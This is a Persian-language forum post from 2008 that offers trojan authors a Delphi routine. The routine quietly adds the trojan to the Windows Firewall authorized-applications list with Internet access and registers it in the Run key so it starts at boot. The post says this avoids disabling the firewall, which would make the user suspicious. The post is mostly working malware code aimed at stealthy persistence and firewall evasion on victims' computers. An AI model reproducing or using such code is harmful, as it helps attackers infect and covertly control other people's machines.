۱۷-تير-۱۳۸۷, ۱۹:۳۲:۳۴
با سلام
همیشه یکی از مشکلات بر سر راه تروجان نویسی firewall ها هستند .درسته که میشه اونها رو از کار انداخت ولی همین باعث شک کاربر میشه این یک روش مختصر و مفید برای اضافه کردن اسم تروجان به لیست window firewallموفق باشید
همیشه یکی از مشکلات بر سر راه تروجان نویسی firewall ها هستند .درسته که میشه اونها رو از کار انداخت ولی همین باعث شک کاربر میشه این یک روش مختصر و مفید برای اضافه کردن اسم تروجان به لیست window firewall
کد:
procedure TForm1.stealth();
begin
Reg := TRegistry.Create;
Reg1 := TRegistry.Create;
Reg2 := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', False);
Reg1.RootKey := HKEY_LOCAL_MACHINE;
Reg1.OpenKey('SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List', False);
Reg2.RootKey := HKEY_LOCAL_MACHINE;
Reg2.OpenKey('SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List', False);
try
Reg.WriteString(ParamStr(0), 'C:\trojan.exe');
Reg1.WriteString(ParamStr(0), 'C:\trojan.exe:*:Enabled:Internet');
Reg2.WriteString('Windows', ParamStr(0)+':*:Enabled:Internet');
finally
Reg.CloseKey;
Reg1.CloseKey;
Reg2.CloseKey;
end
finally
Reg.Free;
Reg1.Free;
Reg2.Free;
listen;
end;
end;